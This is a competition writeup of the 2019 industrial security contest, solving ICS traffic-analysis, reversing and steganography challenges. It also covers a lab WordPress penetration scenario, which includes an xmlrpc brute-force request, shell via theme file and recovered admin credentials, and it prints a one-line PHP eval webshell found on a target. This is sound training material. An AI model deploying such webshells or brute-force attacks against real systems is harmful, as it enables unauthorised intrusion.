2019 Industrial Information Security Competition Recap

Summary0x00 Preface I participated in this year's industrial security competition: five online rounds, an on-site semifinal for the top 60, and a final for the top 30. Our three-person team placed first in online round three, ninth in the semifinal, and seventh in the final. This article was written for a 90sec event, with some sections contributed by my teammates. 0x01 Online Round 3…

CTFICS SecurityICS2019 Industrial Information Security Competition

0x00 Preface

I participated in this year's industrial security competition: five online rounds, an on-site semifinal for the top 60, and a final for the top 30. Our three-person team placed first in online round three, ninth in the semifinal, and seventh in the final.

Written for a 90sec event; some sections were contributed by my two teammates.

0x01 Online Round 3 Writeup

0x02 Simple APK Reversing

1.png

This was a prior-year challenge with a changed flag. Unpacking the APK yielded multiprotocol.tesla.scada; comparing its decompiled output with the genuine app revealed the flag as the unobfuscated class name.

2.png

0x03 The Data-Stealing Hacker

The traffic uses the industrial MMS protocol. This script counts function codes:

TEXT
#!/usr/bin/env python

import pyshark

captures = pyshark.FileCapture("tmflag.pcapng")
confirmed_services_request = {}
confirmed_services_response = {}
for capture in captures:
    for pkt in capture:
        if pkt.layer_name == "mms":
            if hasattr(pkt, "confirmedservicerequest"):
                service = pkt.confirmedservicerequest
                if service in confirmed_services_request:
                    confirmed_services_request[service] += 1
                else:
                     confirmed_services_request[service] = 1
            if hasattr(pkt, "confirmedserviceresponse"):
                service = pkt.confirmedserviceresponse
                if service in confirmed_services_response:
                    confirmed_services_response[service] += 1
                else:
                     confirmed_services_response[service] = 1
print(confirmed_services_request)
print(confirmed_services_response)
3.jpeg

Services in use:

TEXT
1 (getNameList)、4 (read)、5 (write)
6 (getVariableAccessAttributes)、12 (getNamedVariableListAttributes)
72 (fileOpen)、73 (fileRead)、74 (fileClose)、77 (fileDirectory)

Observe:

4.png

flag.7z was opened, suggesting fileRead(73). This script extracts the fileRead contents:

TEXT
import pyshark
import binascii
def flag():
    try:
        captures = pyshark.FileCapture("tmflag.pcapng")
        flag_frsm = False
        flag_frsm_id = None
        flag_read = False
        for capture in captures:
            for pkt in capture:
                if pkt.layer_name == "mms":
                    # file open
                    if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 72:
                        if hasattr(pkt, "filename_item"):
                            filename_items = pkt.filename_item.fields
                            for f in filename_items:
                                file_name = str(f.get_default_value())
                                if file_name == "flag.7z":
                                    flag_frsm = True
                    if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 72 and flag_frsm:
                        if hasattr(pkt, "frsmid"):
                            flag_frsm_id = pkt.frsmid
                        flag_frsm = False
                    if hasattr(pkt, "confirmedservicerequest") and int(pkt.confirmedservicerequest) == 73 and flag_frsm_id:
                        if hasattr(pkt, "fileread"):
                            if str(pkt.fileread) == str(flag_frsm_id):
                                flag_read = True
                        flag_frsm_id = None
                    if hasattr(pkt, "confirmedserviceresponse") and int(pkt.confirmedserviceresponse) == 73 and flag_read:
                        if hasattr(pkt, "filedata"):
                            data = str(pkt.filedata).replace(":", "")
                            hex2char(data)
                        flag_read = False
    except Exception as e:
        print(e)


def hex2char(data):
#    binascii.a2b_hex(hexstr)
    output = binascii.unhexlify(data)
    print(output)

if __name__ == '__main__':
flag()
5.jpeg

is the flag.

0x04 Tesla Industrial App Analysis

The target was TeslaMultiSCADA with a modified version number to prevent quick identification. Comparing it with genuine v1.10.3 revealed an APK disguised as a font. The APK was packed; unpacking with IDA, DexHunter, or similar tools yielded the Java code:

6.png

The Java-layer algorithm is Base85. Key decompiled code:

7.png

The Java layer reads a line, Base85-encodes it, and passes it to native code, wherelibnative-lib.soLoad it into IDA and begin at functionJava_bin_crack_easyandroid_MainActivity_stringFromJNIBegin analysis.

8.png

This function has no key logic. The native library encrypts strings; either reverse datadiv_decode10352206657073544814 manually or debug the APK dynamically so strings decrypt at runtime. Next, focus on sub_2E74.

9.png

The function was heavily obfuscated. Selective breakpoints on callees helped, while APK anti-debug checks crashed on detected breakpoints. Dynamic analysis identified sub_1228 (modified SM4 ECB) and sub_DA4 (modified Base91). The altered SM4 data was:

10.png

Modified Base91 data:

11.png

The program's encryption flow and algorithms were now understood, but the SM4 key and final ciphertext were missing. Deobfuscating the APK resources revealed this file:

12.png
13.png

Brute-force decryption script:

TEXT
data = "D4E8E5A0EBE5F9A0E9F3A0D9EFF5F2E5DFF6E5F2F9DFF3EDE1F2F4ACC3E9F0E8E5F2F4E5F8F4A0E3EFEEF3E9F3F4F3A0EFE6A0F4E8F2E5E5A0F0E1F2F4F3ACC3EFEDE5A0EFEEA1".decode("hex")
for i in range(256):
    string = ''
    for j in data:
        string += chr(ord(j)-i)
    print string
14.png

The key is“Youre_very_smart”. The ciphertext has three parts, whose locations are easily found with a file comparison tool:functions_fr.propertiesfile andsmali/d/a/a/a/b/a;``smali/android/support/v7/internal/view/menu/ActionMenuItemView;``functions_fr.propertiesfile

15.png

It looks like Morse but is Brainfuck, with / as ! and - as ?. Decryption yields

16.png

smali/d/a/a/a/b/afile

17.png

It looks like Brainfuck but is Morse code, with ! as - and ? as /. Decryption yields (Morse is case-insensitive; the correct result is lowercase):

18.png

smali/android/support/v7/internal/view/menu/ActionMenuItemViewfile

19.png

It looks like Brainfuck and is Brainfuck, with ! corresponding to ? and ? to !. Decryption yields

20.png

The next step is permuting the three ciphertext parts. One ordering must decode through Base91 → SM4 → Base85 to the correct flag, Andr01dReMi3clsS0Ea5y!!!

0x05 Where Is the Flag?

Binwalk found a hidden ZIP inside the image; foremost extracted it:

21.png

The result is a PNG and an archive:

22.png

The archive contained another image and required a password.

The other image contains an incomplete barcode:

23.png

Repair it fully in Photoshop:

24.jpeg

The final result is:

25.jpeg

The panda's colors were inverted, so invert the image:

26.png

Scanning yields the string This_n0t_fl4g.

27.png

Use the string to extract the earlier archive and obtain 3.jpg. Binwalk finds another ZIP, so extract again:

28.png
29.png

The result is two identical images.

Compare the images with Stegsolve:

30.jpeg

Numerous pixels appeared, confirming pixel steganography. After saving solved.bmp, raw comparison was chaotic, so I tried several GitHub pixel-steganography tools until one decoded it successfully: https://github.com/HFO4/HideByPixel Obtain cmd5 data.

31.png

Decryption yields the flag.

0x06 Protocol Analysis Again

Wireshark showed LSIS PLC traffic. Packets sequentially read PLC registers in blocks of 100, mixed with other reads.

32.png
33.png

Filter the relevant data programmatically.

34.png

Restore data with XOR 0xFF, then clean and extract it.

35.png

Decompile with dnSpy, locate mainwindow.baml, and copy all RadioButton tags from its Grid element.

36.png

Create a WPF project in Visual Studio and paste the content into XAML to reveal the flag.

37.png

Appendix:

TEXT
        private void Btnreadfile_Click(object sender, EventArgs e)
        {
            byte[] read = new byte[9999];
            OpenFileDialog fileDialog = new OpenFileDialog();
            fileDialog.Multiselect = true;
            fileDialog.Title = "Select a file";
            fileDialog.Filter = "All files|*.*"; // set the file types to choose from
            if (fileDialog.ShowDialog() == DialogResult.OK)
            {
                string file = fileDialog.FileName;// returns the full path of the file

                PcapNGFileReader packetReader = new PcapNGFileReader(FileToStream(file));
                var packets= packetReader.ReadPackets();
                bool isRead = false;
                byte[] readbyte = new byte[65500];
                int iterCount = 100;
                foreach(var item in packets)
                {
                    var data = item.Payload.ToArray();
                    // read the data
                    if (isRead)
                    {
                        for(int j = 99; j >= 0; j--)
                        {
                            int sub = 99 - j;
                            readbyte[iterCount + j] = (byte)(data[data.Length-sub-1]);

                        }
                        iterCount += 100;
                        isRead = false;
                    }
                    // decide whether to read and store the next packet
                    if (data.Length > 91&&data.Length<95 && data[data.Length - 4] == 0x30 && data[data.Length - 3] == 0x30 && data[data.Length - 2] == 0x64 && data[data.Length - 1] == 0x00)
                    {
                        isRead = true;
                    }
                    else
                    {
                        isRead = false;
                    }

                }

                int endloc = 100;
                int count = 1000;
                for (int i = 100; i < 65500; i++)
                {
                    if (readbyte[i] == 0)
                    {
                        endloc = i;
                        count--;
                        if (count == 0)
                        {
                            break;
                        }
                    }
                    else
                    {
                        count = 1000;
                        endloc = 100;
                    }
                }
                byte[] getval = new byte[endloc - 1100];
                for (int i = 0; i < getval.Length; i++)
                {
                    getval[i] = (byte)(readbyte[i + 100] ^ 0xFF);
                }

                StreamToFile(BytesToStream(getval), file + ".exe");
            }
        }

        /// <summary>
        /// Convert byte[] to Stream
        /// </summary>
        /// <param name="bytes"></param>
        /// <returns></returns>
        public Stream BytesToStream(byte[] bytes)
        {
            Stream stream = new MemoryStream(bytes);
            return stream;
        }

        /// <summary>
        /// Convert Stream to byte[]
        /// </summary>
        /// <param name="stream"></param>
        /// <returns></returns>
        public byte[] StreamToBytes(Stream stream)
        {
            byte[] bytes = new byte[stream.Length];
            stream.Read(bytes, 0, bytes.Length);
            stream.Seek(0, SeekOrigin.Begin); // set the stream position to the beginning
            return bytes;
        }

        /// <summary>
        /// Read a Stream from a file
        /// </summary>
        /// <param name="path"></param>
        /// <returns></returns>
        public Stream FileToStream(string path)
        {
            FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read); // open the file
            byte[] bytes = new byte[fileStream.Length]; // read the file into byte[]
            fileStream.Read(bytes, 0, bytes.Length);
            fileStream.Close();
            Stream stream = new MemoryStream(bytes); // convert byte[] to Stream
            return stream;
        }

        /// <summary>
        /// Write a Stream to a file
        /// </summary>
        /// <param name="stream"></param>
        /// <param name="path"></param>
        public void StreamToFile(Stream stream, string path)
        {
            byte[] bytes = new byte[stream.Length]; // convert Stream to byte[]
            stream.Read(bytes, 0, bytes.Length);
            stream.Seek(0, SeekOrigin.Begin); // set the stream position to the beginning
            FileStream fs = new FileStream(path, FileMode.Create); // write byte[] to the file
            BinaryWriter bw = new BinaryWriter(fs);
            bw.Write(bytes);
            bw.Close();
            fs.Close();
        }

0x07 Siemens DoS Incident

Disassembling the challenge binary in IDA revealed two references to the suspicious string crash.

38.png

The required UDP stream could not be recovered from this file.

39.png

This code identified the binary as the Launcher module of the Industroyer ICS malware. Its UDP packets occur during exploitation of CVE-2015-5374 for DoS, yielding the final answer.

40.png

0x08 The Hacker's Mistake

41.png

The image says WATCHIN YUR SCREENZ. A GitHub search identifies it as originating from gcat.

42.png

Open any result and locate gcat.py:

43.png

The flag is: gcat.is.the.shit@gmail.com

0x08 Smart Substation Device Anomaly Diagnosis

The first four ZIP magic bytes were reversed. Reversing them makes the archive extractable.

44.png

Obtain dcs.dcs.

45.png

This is a KSCD file for Kaimo SCD analysis software, with two junk bytes prepended. Every 00 was changed to 20, preventing normal parsing, so patterns had to be recovered from strings.

46.png

Then use visual inspection and a regular expression to extract the flag.

0x09 Strange Data

A search for ETHER found nothing useful. Seeing many ASCII values, I converted them to characters.

47.jpeg

The logic extracts lines beginning with |0 and converts following ASCII values to bytes. The packet resembles MMS traffic.

48.jpeg

This recalled challenge two. Under MMS rules, valid packets appear in pairs:

49.png

It also contained the word flag, so convert it to 66|6c|61|67|.

50.png

Searching the original stream.exe reveals

51.png

Use a conversion tool to inspect the section after flag on line 71769.

52.png

Copying it reveals:

TEXT
flag¡? :
PL1012{ROT
PL1012CTRL	PL1012LD0
PL1012MEAS	PL1012RC}

After inspecting the structure and making an educated guess, the flag is ROTCTRLLD0MEASRC.

0x10 Abnormal S7 Data

The supplied flag.pcapng contained 570,000 packets.

53.png

Enter s7comm in the filter.

54.png

Filtering barely changed the count; over 570,000 packets remained.

55.png

Inspect packet contents with the filter

TEXT
s7comm.header.rosctr == 3 & s7comm.data.returncode == 0xff

The capture contains 288,305 packets.

56.png

Adding the initialization packets accounts for exactly half, showing every sent packet received a response.

57.png

Ack_Data was unnecessary. Filtering with s7comm.header.rosctr == 1 showed Job Write Var packets, all writing length 10. That was enough to start scripting the extraction.

58.jpeg

I wrote code to select every 113-byte packet. Initially, I incorrectly tried to concatenate changing trailing bytes to reconstruct the flag.

59.png

The filtered traffic really did contain text resembling a flag, which cost us considerable time.

60.jpeg

Nothing stood out until I wondered whether the preceding 0xffff varied, so I wrote:

61.png

Only one packet satisfied the condition.

62.png
63.png

The flag is ffad28a0ce69db34751f.

0x11 Industrial Network Penetration Test (Scenario)

The target subnet was 172.16.1.0/24. Scanning found 172.16.1.2 on port 80 running WordPress. WPScan reported:

64.jpeg

The plugins had no exploitable critical issue, but robots.txt and xmlrpc.php were present. Visit robots:

65.png

After download, /wordpress/flag_dict_dict_di.txt was a dictionary containing over three million entries:

66.png

The dictionary contained heavy duplication: each ciphertext repeated over 300 times. Deduplication reduced it to roughly 10,000 entries.

67.png

The plan was clear: use the dictionaries to brute-force the administrator password, obtain a shell from the admin panel, escalate privileges, and find the flag. WPScan identified the username:

68.jpeg

Combine this with xmlrpc.php brute force using:

TEXT
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>Wikia</value></param>
   <param><value>Random</value></param>
  </params>
</methodCall>

Find the flag with Burp Suite:

69.jpeg

The password was DDE-JIJIJawww9999.

After login, a 404 file yielded a shell.

whoami showed ordinary user abc. In abc's directory, flag.txt.txt contained:

70.png

Next inspect systeminfo:

71.png

Various privilege-escalation attempts still could not upload a file:

72.png

Later testing showed that creating a file worked normally.

73.png

New files could not exceed 350 lines, roughly 1 KB; larger writes failed.

Chunked transfer worked, but the uploaded files lacked execution permission. I considered UDF extraction and recovered the database password:

74.png

Remote login with administrator / Jnds2019!@ succeeded.

75.png

Search finds flag.

76.png

The opened file isflag={!@#$%Jnds2019&*--}

0x12 On-Site Semifinal

The semifinal lasted two days. Day one covered CTF, hardening reports, and scenarios; day two involved vulnerability research on real industrial devices.

Day 1

There were 15 challenges:

  • 1. Network Anomaly Analysis
  • 2. System Anomaly Analysis
  • 3. Web Application Anomaly Analysis
  • 4. Industrial-Control Anomaly Analysis
  • 5. Configuration Anomaly Analysis
  • 6. Network Anomaly Remediation
  • 7. Emergency Web Application Remediation
  • 8. System Emergency Remediation
  • 9. Industrial-Control Emergency Remediation
  • 10. Threat Intelligence Collection
  • 11. Reverse Analysis and Attribution
  • 12. Network Security Hardening
  • 13. System Hardening
  • 14. Application Security Hardening
  • 15. Industrial-Control Security Hardening

There were no written challenge prompts. The competition used two remote targets: XP hosted industrial-control configuration software, and Windows 7 primarily hosted web services.

Here is the Web Application Anomaly Analysis writeup.

Web directory:

77.png

Under /WWW/Conf/Role/, we foundwebshell.php Its contents are:

TEXT
<?php @eval($_POST['chopper']);?>
//1019711512111910198115104101108108

Set1019711512111910198115104101108108Divide into

TEXT
101 97 115 121 119 101 98 115 104 101 108 108

ASCII conversion yields

78.png

Only the first five challenges required flags, and we found one. Afterward, others explained that System Anomaly Analysis on XP required opening Explorer. The flag was not a visible file and dir did not list it, but an executable named flag opened Internet Explorer settings where the flag appeared.

After challenge five came report writing—many reports. One teammate wrote 3,000 words.

The next challenges were scenarios. They were probably straightforward for ICS specialists: restore devices such as the following to normal operation.

79.jpeg
80.jpeg
81.jpeg

The goal was to restore normal operation. We had no experience with real or simulated industrial-control devices and did not succeed.

Day 2

We scored zero on challenge two, so only the competition format is described.

A device was assigned randomly; ours wasmitsubishi melsec iq-r This is the device.

82.jpeg

There was no web interface; ports 21 and 5007 were open. GX Works3 connected successfully, but vulnerability research found nothing. We later submitted four low-quality issues—including packet replay causing restart/pause and denial of service—but zero were accepted.

0x13 Final

The final lasted one day and simulated attacks and defense on real devices. Each team selected an industrial device and had one hour to harden it. Afterward, any target could be attacked. There were two scoring methods:

First, successfully attack a defended industrial device: +200 points; victim: −100. Second, compromise a host or device and plant different flag types: +10 points each.

Those were the broad rules. Most attacks used MS17-010 to compromise hosts, plant flags, or affect industrial devices.

0x14 Summary

Overall, the competition taught us a great deal about protocols and industrial-control devices. Discussion with others interested in ICS security is welcome.